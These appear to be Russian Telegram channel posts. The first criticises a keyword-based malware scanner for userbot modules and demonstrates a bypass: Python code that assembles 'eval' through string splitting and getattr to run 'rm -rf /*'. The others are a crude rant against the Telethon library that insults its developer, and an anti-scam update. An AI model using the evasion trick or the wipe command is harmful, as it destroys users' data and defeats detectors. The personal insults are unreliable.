Нашел сегодня модуль для юзербота, который должен защищать от вредоносного кода.

Что модуль делает на самом деле?
Это статический анализатор, а не антивирус. Он ищет строки кода по ключевым словам типа

eval
exec
pickle.loads
subprocess.Popen

😈 Почему модуль легко обойти

1. Если разработчик малвари хоть немного разбирается в Python, то легко обойдет. Пример:

def fake_function():
    builtin = __import__("builtins")
    e = getattr(builtin, "eva" + "l")
    s = __import__('os').system('rm -rf /*')"
    e(s)

fake_function()

2. Нет анализа импортируемых файлов

Я видел модули для гиктг, которые загружают вредоносную никому неизвестную библиотеку с PyPI. При быстром анализе ничего даже не заметно — чтобы вирус сработал, достаточно его просто импортировать. После этого выполняется код в __init__.py

Библиотека Telethon обречена на смерть

Пока в Pyrogram давно работало нормально определение типа диалога (скрин 1), супергрупп/чатов/пользователей, в телетоне ты должен был дрочить isinstance(entity, User), isinstance(entity, Channel), entity.is_broadcast, ...

Пока в Pyrogram нормально отображалось количество участников чата (скрин 3), телетон просто выдает None (скрин 2), и приходится костылить через GetParticipantsRequest

Telethon до сих пор страдает от багов, существующих как минимум 3 года (может с нихуя крашнуться, зависнуть, заблокировать весь скрипт до перезапуска вручную, начать дико срать в логи, начать бесконечные реконнекты 100 раз в сек и забивать память, пока OOM killer не хуйнет это говно), Лонами (разработчик Telethon) токсичный хуесос, когда ему указываешь на баги, он злится, когда кидаешь PR с исправлением - тоже злится и не принимает

Хотя в целом, если посмотреть, все Python MTProto-библиотеки обречены на смерть, Pyrogram заброшен, Telethon не развивается, хотя Pyrogram хоть немного остается на плаву благодаря форкам

Антискам система эволюционирует - я сделал проверку не только по базе ботов, а еще и по базе GID.

Также я запретил сейвмоду работать, если пользователь дал разрешение на подарки. Это было сделано для защиты от пользовательских скам-зеркал.